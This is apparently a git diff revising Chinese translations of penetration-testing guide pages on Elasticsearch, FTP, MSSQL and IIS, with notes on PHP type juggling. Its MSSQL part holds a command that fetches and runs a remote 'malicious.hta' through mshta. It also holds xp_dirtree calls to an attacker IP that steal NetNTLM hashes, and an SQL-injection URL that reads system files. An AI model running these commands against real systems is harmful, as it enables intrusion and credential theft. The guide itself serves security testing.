- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)\\
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)\\
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)\\
- [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/)
- [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/)
- [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744)
- [http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html](http://0x90909090.blogspot.com/2015/07/no-one-expect-command-execution.html)
- [https://touhidshaikh.com/blog/?p=827](https://touhidshaikh.com/blog/?p=827)
- [https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf](https://github.com/sagishahar/lpeworkshop/blob/master/Lab%20Exercises%20Walkthrough%20-%20Linux.pdf)
- [https://github.com/frizb/Linux-Privilege-Escalation](https://github.com/frizb/Linux-Privilege-Escalation)
- [https://github.com/lucyoa/kernel-exploits](https://github.com/lucyoa/kernel-exploits)
- [https://github.com/rtcrowley/linux-private-i](https://github.com/rtcrowley/linux-private-i)
- [https://www.linux.com/news/what-socket/](https://www.linux.com/news/what-socket/)
- [https://muzec0318.github.io/posts/PG/peppo.html](https://muzec0318.github.io/posts/PG/peppo.html)

View File

@ -113,8 +113,8 @@ yellow open bank eSVpNfCfREyYoVigNWcrMw 5 1 1000 0
_花点时间比较银行索引中每个文档条目的内容以及我们在上一节中看到的该索引的字段。_
因此,此时您可能会注意到**在“hits”中有一个名为“total”的字段**,它表示**在此索引中找到了1000个文档**但仅检索了10个。这是因为**默认情况下限制为10个文档**。\
但是,现在您知道**索引包含1000个文档**,您可以**转储所有文档**,在**`size`**参数中指明要转储的条目数:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\&#xNAN;_注意如果您指明更大的数字所有条目仍将被转储例如您可以指明`size=9999`如果有更多条目会很奇怪但您应该检查。_
但是,现在您知道**索引包含1000个文档**,您可以**转储所有文档**,在**`size`**参数中指明要转储的条目数:`http://10.10.10.115:9200/quotes/_search?pretty=true&size=1000`asd\
\_注意如果您指明更大的数字所有条目仍将被转储例如您可以指明`size=9999`如果有更多条目会很奇怪但您应该检查。_
### 转储所有
@ -123,15 +123,15 @@ _花点时间比较银行索引中每个文档条目的内容以及我们
### 搜索
如果您正在寻找某些信息,可以在所有索引上进行**原始搜索**,访问`http://host:9200/_search?pretty=true&q=<search_term>`,例如`http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
如果您正在寻找某些信息,可以对所有索引进行**原始搜索**,访问`http://host:9200/_search?pretty=true&q=<search_term>`,例如`http://10.10.10.115:9200/_search?pretty=true&q=Rockwell`
![](<../images/image (335).png>)
如果您只想**在个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
如果您只想**在个索引中搜索**,可以在**路径**中**指定**它:`http://host:9200/<index>/_search?pretty=true&q=<search_term>`
_注意,用于搜索内容的q参数**支持正则表达式**_
_注意q参数用于搜索内容**支持正则表达式**_
您还可以使用类似[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)的工具来模糊测试elasticsearch服务
您还可以使用类似[https://github.com/misalabs/horuz](https://github.com/misalabs/horuz)的工具对elasticsearch服务进行模糊测试
### 写权限

View File

@ -14,11 +14,11 @@ PORT STATE SERVICE
```
### 连接主动与被动
**主动 FTP**FTP **客户端**首先从其端口 N 向 FTP 服务器的命令端口 - 端口 21 **发起**控制 **连接**。然后,**客户端**监听端口 **N+1** 并将端口 N+1 发送给 FTP 服务器。FTP **服务器**随后从 **其端口 M FTP 客户端的端口 N+1** **发起**数据 **连接**
**主动 FTP**FTP **客户端**首先从其端口 N 向 FTP 服务器的命令端口 - 端口 21 **发起**控制 **连接**。然后,**客户端**监听端口 **N+1** 并将端口 N+1 发送给 FTP 服务器。FTP **服务器**随后从 **其端口 M FTP 客户端的端口 N+1** **发起**数据 **连接**
但是,如果 FTP 客户端设置了防火墙以控制来自外部的传入数据连接,则主动 FTP 可能会成为一个问题。对此的可行解决方案是被动 FTP。
**被动 FTP** 中,客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后,客户端发出 **passv 命令**。服务器随后将其端口号 M 发送给客户端。然后,**客户端**从 **其端口 P FTP 服务器的端口 M** **发起**数据 **连接**
**被动 FTP** 中,客户端从其端口 N 向 FTP 服务器的端口 21 **发起**控制连接。之后,客户端发出 **passv 命令**。服务器随后将其端口号 M 发送给客户端。然后,**客户端**从 **其端口 P FTP 服务器的端口 M** **发起**数据 **连接**
来源: [https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/](https://www.thesecuritybuddy.com/vulnerabilities/what-is-ftp-bounce-attack/)
@ -88,8 +88,8 @@ STAT
### 匿名登录
_anonymous : anonymous_\
\&#xNAN;_anonymous :_\
\&#xNAN;_ftp : ftp_
\_anonymous :_\
\_ftp : ftp_
```bash
ftp <IP>
>anonymous
@ -101,11 +101,11 @@ ftp <IP>
```
### [暴力破解](../../generic-hacking/brute-force.md#ftp)
这里可以找到一个包含默认ftp凭据的不错列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
在这里你可以找到一个包含默认ftp凭据的好列表: [https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt](https://github.com/danielmiessler/SecLists/blob/master/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt)
### 自动化
匿名登录和跳转FTP检查默认由nmap使用**-sC**选项执行或:
匿名登录和跳转FTP检查是通过nmap的**-sC**选项默认执行的:
```bash
nmap --script ftp-* -p 21 <ip>
```
@ -115,7 +115,7 @@ nmap --script ftp-* -p 21 <ip>
```bash
ftp://anonymous:anonymous@10.10.10.98
```
注意,如果一个 **web application** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码的 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**。这些可能的任意操作之一是从用户控制的服务器下载内容执行端口扫描或尝试与其他基于明文的服务(如 http进行通信。
注意,如果一个 **web 应用程序** 正在将用户控制的数据 **直接发送到 FTP 服务器**,您可以发送双重 URL 编码的 `%0d%0a`(在双重 URL 编码中为 `%250d%250a`)字节,并使 **FTP 服务器执行任意操作**。这些可能的任意操作之一是从用户控制的服务器下载内容执行端口扫描或尝试与其他基于明文的服务(如 http进行通信。
## 从 FTP 下载所有文件
```bash
@ -135,7 +135,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
- **`EPRT |2|127.0.0.1|80|`** 这将指示 FTP 服务器在端口 80 与 IP 127.0.0.1 建立 TCP 连接_由 "2" 指示_。此命令 **支持 IPv6**
- **`LIST`** 这将发送当前文件夹中的文件列表
- **`LIST -R`** 递归列出(如果服务器允许)
- **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在,它将附加数据。
- **`APPE /path/something.txt`** 这将指示 FTP 将从 **被动** 连接或 **PORT/EPRT** 连接接收的数据存储到文件中。如果文件名存在,它将附加数据。
- **`STOR /path/something.txt`** 类似于 `APPE`,但它将覆盖文件
- **`STOU /path/something.txt`** 类似于 `APPE`,但如果存在则不执行任何操作。
- **`RETR /path/to/file`** 必须建立被动或端口连接。然后FTP 服务器将通过该连接发送指定的文件
@ -148,11 +148,11 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
## FTPBounce 攻击
一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器您希望在某个端口连接到其他 FTP 服务器。然后,您可以利用此功能扫描主机的哪些端口通过 FTP 服务器是开放的。
一些 FTP 服务器允许使用命令 PORT。此命令可用于指示服务器您希望在某个端口连接到其他 FTP 服务器。然后,您可以利用此功能扫描通过 FTP 服务器哪些主机端口是开放的。
[**在这里了解如何滥用 FTP 服务器扫描端口。**](ftp-bounce-attack.md)
您还可以滥用此行为使 FTP 服务器与其他协议交互。您可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**_也许是为了添加一个新的管理员用户_或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为不同的 FTP 服务器下载文件。\
您还可以滥用此行为使 FTP 服务器与其他协议交互。您可以 **上传一个包含 HTTP 请求的文件**,并使易受攻击的 FTP 服务器 **将其发送到任意 HTTP 服务器**_也许是为了添加一个新的管理员用户_或甚至上传一个 FTP 请求,使易受攻击的 FTP 服务器为另一个 FTP 服务器下载文件。\
理论很简单:
1. **将请求(放在文本文件中)上传到易受攻击的服务器。** 请记住,如果您想与另一个 HTTP 或 FTP 服务器通信,您需要用 `0x0d 0x0a` 更改行
@ -160,7 +160,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
3. **使用 `PORT` 连接到任意服务器和服务**
4. **使用 `RETR` 将保存的请求发送到服务器。**
这很可能会抛出一个错误,如 _**Socket not writable**_ **因为连接持续时间不足以使用 `RETR` 发送数据**尝试避免这种情况的建议包括:
这很可能会抛出一个错误,如 _**Socket not writable**_ **因为连接持续时间不足以使用 `RETR` 发送数据**。避免这种情况的建议包括:
- 如果您正在发送 HTTP 请求,**将相同的请求一个接一个地放置**,直到 **\~0.5MB** 至少。像这样:
@ -186,7 +186,7 @@ vsftpd.conf
```
### Post-Exploitation
vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,你可以找到一些危险的设置:
vsFTPd 的默认配置可以在 `/etc/vsftpd.conf` 中找到。在这里,你可以找到一些危险的设置:
- `anonymous_enable=YES`
- `anon_upload_enable=YES`
@ -195,7 +195,7 @@ vsFTPd的默认配置可以在`/etc/vsftpd.conf`中找到。在这里,你可
- `chown_uploads=YES` - 更改匿名上传文件的所有权
- `chown_username=username` - 被赋予匿名上传文件所有权的用户
- `local_enable=YES` - 允许本地用户登录
- `no_anon_password=YES` - 不要求匿名用户输入密码
- `no_anon_password=YES` - 不要求匿名用户提供密码
- `write_enable=YES` - 允许命令STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, 和 SITE
### Shodan

View File

@ -6,31 +6,31 @@
来自 [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。\\
> **Microsoft SQL Server** 是由 Microsoft 开发的 **关系数据库** 管理系统。作为数据库服务器,它是一个软件产品,主要功能是根据其他软件应用程序的请求存储和检索数据——这些应用程序可以在同一台计算机上运行,也可以在网络(包括互联网)上的另一台计算机上运行。
**默认端口** 1433
**默认端口:** 1433
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **默认 MS-SQL 系统表**
- **master 数据库**: 该数据库至关重要,因为它捕获 SQL Server 实例的所有系统级详细信息
- **master 数据库**: 该数据库至关重要,因为它捕获了 SQL Server 实例的所有系统级细节
- **msdb 数据库**: SQL Server Agent 利用此数据库来管理警报和作业的调度。
- **model 数据库**: 作为 SQL Server 实例上每个新数据库的蓝图,任何诸如大小、排序规则、恢复模型等的更改都会在新创建的数据库中反映出来。
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑呈现。
- **Resource 数据库**: 一个只读数据库,存放随 SQL Server 附带的系统对象。这些对象虽然物理存储在 Resource 数据库中,但在每个数据库的 sys 模式中逻辑呈现。
- **tempdb 数据库**: 作为瞬态对象或中间结果集的临时存储区域。
## 枚举
### 自动枚举
如果您对该服务一无所知:
如果您对该服务一无所知
```bash
nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping
```
> [!NOTE]
> 如果您**没有** **凭据**,可以尝试猜测它们。您可以使用 nmap 或 metasploit。请小心如果使用现有用户名多次登录失败可能会**锁定账户**。
> 如果你**没有** **凭据**,你可以尝试猜测它们。你可以使用 nmap 或 metasploit。小心如果你使用现有用户名多次登录失败可能会**锁定账户**。
#### Metasploit (需要凭据)
```bash
@ -159,10 +159,10 @@ SELECT * FROM sysusers
- **服务器** 示例包括数据库、登录、端点、可用性组和服务器角色。
- **数据库** 示例包括数据库角色、应用程序角色、模式、证书、全文目录和用户。
- **模式** 包括表、视图、过程、函数、同义词等。
2. **权限:** 与 SQL Server 可安全性相关,权限如 ALTER、CONTROL 和 CREATE 可以授予主体。权限管理发生在两个级别
2. **权限:** 与 SQL Server 可安全性相关的权限,如 ALTER、CONTROL 和 CREATE可以授予主体。权限管理发生在两个层级
- **服务器级别** 使用登录
- **数据库级别** 使用用户
3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。通过授予或拒绝权限或将登录和用户包含在具备访问权限的角色中来控制对可安全性的访问
3. **主体:** 该术语指被授予可安全性权限的实体。主体主要包括登录和数据库用户。对可安全性访问的控制通过授予或拒绝权限或通过将登录和用户包含在具备访问权限的角色中来实现
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -182,12 +182,12 @@ SELECT IS_SRVROLEMEMBER('sysadmin');
Use master
EXEC sp_helprotect 'xp_cmdshell'
```
## 技巧
## Tricks
### 执行操作系统命令
### Execute OS Commands
> [!CAUTION]
> 请注意,为了能够执行命令,不仅需要启用 **`xp_cmdshell`**,还必须对 **`xp_cmdshell` 存储过程** 拥有 **EXECUTE 权限**。您可以通过以下方式获取谁(除了 sysadmins可以使用 **`xp_cmdshell`**
> 请注意,为了能够执行命令,不仅需要**`xp_cmdshell`** **启用**,还需要对`xp_cmdshell`存储过程具有**EXECUTE权限**。您可以通过以下方式获取谁除了sysadmins可以使用**`xp_cmdshell`**
>
> ```sql
> Use master
@ -234,9 +234,9 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec ho
# Executing the hostname command using stored procedures on the linked SRV01 server with sp_oacreate method
mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "cmd /c mshta http://192.168.45.250/malicious.hta" -command-execution-method sp_oacreate
```
### 偷取 NetNTLM 哈希 / 中继攻击
### Steal NetNTLM hash / Relay attack
您应该启动一个 **SMB 服务器** 来捕获用于身份验证的哈希(例如 `impacket-smbserver``responder`)。
您应该启动一个 **SMB server** 来捕获用于身份验证的哈希值(例如 `impacket-smbserver``responder`)。
```bash
xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
@ -270,7 +270,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.25
> ```
使用工具如 **responder****Inveigh** 可以 **窃取 NetNTLM 哈希**。\
您可以查看如何使用这些工具:
您可以在以下链接中查看如何使用这些工具:
{{#ref}}
../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -306,7 +306,7 @@ EXECUTE sp_OADestroy @OLE
```
### **使用** OPENROWSET **读取文件**
默认情况下,`MSSQL` 允许对**操作系统中任何具有读取权限的文件进行读取**。我们可以使用以下 SQL 查询:
默认情况下,`MSSQL` 允许对**账户具有读取权限的操作系统中任何文件进行读取**。我们可以使用以下 SQL 查询:
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -315,13 +315,13 @@ SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_C
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
```
#### 基于错误的SQLi向量:
#### 基于错误的SQL注入向量:
```
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
```
### **RCE/读取文件执行脚本Python 和 R**
MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由 **不同的用户** 执行,而不是使用 **xp_cmdshell** 来执行命令的用户
MSSQL 可能允许您执行 **Python 和/或 R 的脚本**。这些代码将由 **与使用 **xp_cmdshell** 执行命令的用户不同的用户** 执行
尝试执行 **'R'** _"Hellow World!"_ **不工作**
@ -343,17 +343,17 @@ GO
```
### 读取注册表
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)** 进行交互:**
Microsoft SQL Server 提供了 **多个扩展存储过程**,允许您与网络、文件系统甚至 [**Windows 注册表**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) 进行交互:
| **常规** | **实例感知** |
| --------------------------- | ------------------------------------ |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| **常规** | **实例感知** |
| --------------------------- | ---------------------------------- |
| sys.xp_regread | sys.xp_instance_regread |
| sys.xp_regenumvalues | sys.xp_instance_regenumvalues |
| sys.xp_regenumkeys | sys.xp_instance_regenumkeys |
| sys.xp_regwrite | sys.xp_instance_regwrite |
| sys.xp_regdeletevalue | sys.xp_instance_regdeletevalue |
| sys.xp_regdeletekey | sys.xp_instance_regdeletekey |
| sys.xp_regaddmultistring | sys.xp_instance_regaddmultistring |
| sys.xp_regremovemultistring | sys.xp_instance_regremovemultistring |
```sql
# Example read registry
@ -438,7 +438,7 @@ public void Test()
### 从 db_owner 到 sysadmin
如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin** **执行**
如果一个 **普通用户** 被赋予 **`db_owner`** 角色在 **由管理员** 用户(如 **`sa`**)拥有的 **数据库** 上,并且该数据库被配置为 **`trustworthy`**,那么该用户可以滥用这些权限进行 **privesc**,因为在其中创建的 **stored procedures** 可以作为所有者(**admin**)执行。
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -505,9 +505,9 @@ enum_links
use_link [NAME]
```
> [!NOTE]
> 如果您可以模拟一个用户,即使他不是 sysadmin您应该检查该用户是否可以访问其他数据库或链接服务器。
> 如果您可以冒充一个用户,即使他不是 sysadmin您应该检查该用户是否可以访问其他数据库或链接服务器。
请注意,一旦您成为 sysadmin您可以模拟任何其他用户:
请注意,一旦您成为 sysadmin您可以冒充任何其他用户:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -533,7 +533,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
## 从 SQL Server 连接服务器提取密码
攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码,并以明文形式获取它们,从而使攻击者获得可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract_linked_server_passwords) 找到。
攻击者可以从 SQL 实例中提取 SQL Server 连接服务器的密码,并以明文形式获取它们,从而授予攻击者可以用于在目标上获得更大立足点的密码。提取和解密存储在连接服务器中的密码的脚本可以在 [这里](https://www.richardswinbank.net/admin/extract_linked_server_passwords) 找到。
为了使此漏洞利用有效,必须进行一些要求和配置。首先,您必须在机器上拥有管理员权限,或能够管理 SQL Server 配置。

View File

@ -56,18 +56,18 @@ iisfinal.txt
### 泄露源代码
查看完整的写作内容在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
查看完整的写作在:[https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html](https://blog.mindedsecurity.com/2018/10/from-path-traversal-to-source-code-in.html)
> [!NOTE]
> 总,应用程序的文件夹中有多个 web.config 文件,引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\
> 总结来说,应用程序的文件夹中有多个 web.config 文件,里面引用了 "**assemblyIdentity**" 文件和 "**namespaces**"。通过这些信息,可以知道 **可执行文件的位置** 并下载它们。\
> 从 **下载的 Dlls** 中,还可以找到 **新的 namespaces**,您应该尝试访问并获取 web.config 文件,以便找到新的 namespaces 和 assemblyIdentity。\
> 此外,文件 **connectionstrings.config****global.asax** 可能包含有趣的信息。\\
> 此外,文件 **connectionstrings.config****global.asax** 可能包含有趣的信息。
**.Net MVC 应用程序** 中,**web.config** 文件通过 **"assemblyIdentity"** XML 标签指定应用程序所依赖的每个二进制文件,发挥着至关重要的作用。
### **探索二进制文件**
访问 **web.config** 文件的示例如下所示
访问 **web.config** 文件的示例如下:
```markup
GET /download_page?id=..%2f..%2fweb.config HTTP/1.1
Host: example-mvc-application.minded
@ -102,7 +102,7 @@ Host: example-mvc-application.minded
```
这表明在 /bin 目录中存在其他重要的 DLL例如 **System.Web.Mvc.dll****System.Web.Optimization.dll**
在一个 DLL 导入名为 **WebApplication1.Areas.Minded** 的命名空间的场景中,攻击者可能推断出在可预测路径中存在其他 web.config 文件,例如 **/area-name/Views/**,其中包含特定的配置和对 /bin 文件夹中其他 DLL 的引用。例如,对 **/Minded/Views/web.config** 的请求可以揭示配置和命名空间,表明存在另一个 DLL **WebApplication1.AdditionalFeatures.dll**
在一个 DLL 导入名为 **WebApplication1.Areas.Minded** 的命名空间的场景中,攻击者可能推断出在可预测路径中存在其他 web.config 文件,例如 **/area-name/Views/**,其中包含特定的配置和对 /bin 文件夹中其他 DLL 的引用。例如,对 **/Minded/Views/web.config** 的请求可以揭示配置和命名空间,指示另一个 DLL **WebApplication1.AdditionalFeatures.dll** 的存在
### 常见文件
@ -185,27 +185,27 @@ C:\xampp\tomcat\conf\server.xml
```
## HTTPAPI 2.0 404 错误
如果您看到以下错误:
如果你看到如下错误:
![](<../../images/image (446) (1) (2) (2) (3) (3) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (10) (2).png>)
这意味着服务器**没有在 Host 头中接收到正确的域名**。\
为了访问网页,您可以查看提供的**SSL 证书**,也许可以在其中找到域名/子域名。如果没有,您可能需要**暴力破解 VHosts**,直到找到正确的。
为了访问网页,你可以查看提供的**SSL 证书**,也许可以在其中找到域名/子域名。如果没有,你可能需要**暴力破解 VHosts**,直到找到正确的。
## 值得关注的旧 IIS 漏洞
### Microsoft IIS 波浪字符“\~”漏洞/特性 短文件/文件夹名称泄露
您可以尝试使用此**技术**来**枚举每个发现的文件夹和文件**(即使它需要基本身份验证)。\
如果服务器存在漏洞,此技术的主要限制是**它只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
你可以尝试使用此**技术**来**枚举文件夹和文件**,即使它需要基本身份验证。\
如果服务器存在漏洞,这种技术的主要限制是**只能找到每个文件/文件夹名称的前 6 个字母和文件扩展名的前 3 个字母**。
可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
可以使用 [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) 来测试此漏洞:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
![](<../../images/image (844).png>)
原始研究:[https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf](https://soroush.secproject.com/downloadable/microsoft_iis_tilde_character_vulnerability_feature.pdf)
您还可以使用**metasploit**`use scanner/http/iis_shortname_scanner`
你也可以使用**metasploit**`use scanner/http/iis_shortname_scanner`
一个不错的主意是**找到发现文件的最终名称**,可以**询问 LLMs** 选项,就像在脚本 [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py) 中所做的那样。
@ -213,13 +213,13 @@ C:\xampp\tomcat\conf\server.xml
**绕过**基本身份验证(**IIS 7.5**),尝试访问:`/admin:$i30:$INDEX_ALLOCATION/admin.php``/admin::$INDEX_ALLOCATION/admin.php`
您可以尝试将此**漏洞**与最后一个结合,以发现新的**文件夹**并**绕过**身份验证。
你可以尝试将此**漏洞**与上一个结合,以发现新的**文件夹**并**绕过**身份验证。
## ASP.NET Trace.AXD 启用调试
ASP.NET 包含调试模式,其文件名为 `trace.axd`
它保持对一段时间内对应用程序所做的所有请求的详细日志。
它保持对一段时间内对应用程序所做的所有请求的详细日志。
此信息包括远程客户端 IP、会话 ID、所有请求和响应 cookie、物理路径、源代码信息甚至可能包括用户名和密码。
@ -232,16 +232,16 @@ ASP.NET 包含调试模式,其文件名为 `trace.axd`。
ASPXAUTH 使用以下信息:
- **`validationKey`**(字符串):用于签名验证的十六进制编码密钥。
- **`decryptionMethod`**(字符串):(默认“ AES”
- **`decryptionMethod`**字符串默认“AES”
- **`decryptionIV`**(字符串):十六进制编码的初始化向量(默认为零向量)。
- **`decryptionKey`**(字符串):用于解密的十六进制编码密钥。
然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件**用作**cookie**。因此,如果您可以找到一个使用 ASPXAUTH cookie 的**相同平台**的网页,并且您**在被攻击的服务器上创建一个与您想要冒充的用户的电子邮件相同的用户**,您可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\
然而,有些人会使用这些参数的**默认值**,并将**用户的电子邮件**用作**cookie**。因此,如果你能找到一个使用 ASPXAUTH cookie 的**相同平台**的网页,并且你**在被攻击的服务器上创建一个与要冒充的用户相同的电子邮件的用户**,你可能能够在第一个服务器中**使用第二个服务器的 cookie**并冒充该用户。\
这个攻击在这个 [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19) 中有效。
## IIS 身份验证绕过与缓存密码 (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个**密码哈希命中**已经在**缓存**中的密钥的攻击者将能够以该用户身份登录。
[完整报告在这里](https://blog.orange.tw/2022/08/lets-dance-in-the-cache-destabilizing-hash-table-on-microsoft-iis.html):代码中的一个错误**没有正确检查用户提供的密码**,因此一个攻击者如果**密码哈希命中缓存中的一个键**将能够以该用户身份登录。
```python
# script for sanity check
> type test.py

View File

@ -22,7 +22,7 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
### 松散比较/类型转换 ( == )
如果在 PHP 中使用 `==`,则会出现一些意情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`
如果在 PHP 中使用 `==`,则会出现一些意想不到的情况,比较的行为并不如预期。这是因为 "==" 只比较转换为相同类型的值,如果你还想比较被比较数据的类型是否相同,你需要使用 `===`
PHP 比较表: [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -39,7 +39,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf
- `"0e12334" == "0" --> True` 这非常有趣,因为在某些情况下,你可以控制 "0" 的字符串输入以及与之进行哈希和比较的某些内容。因此,如果你可以提供一个值,该值将创建一个以 "0e" 开头且没有任何字母的哈希,你可以绕过比较。你可以在这里找到 **已经哈希的字符串** [https://github.com/spaze/hashes](https://github.com/spaze/hashes)
- `"X" == 0 --> True` 字符串中的任何字母等于 int 0
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
更多信息请见 [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09)
### **in_array()**
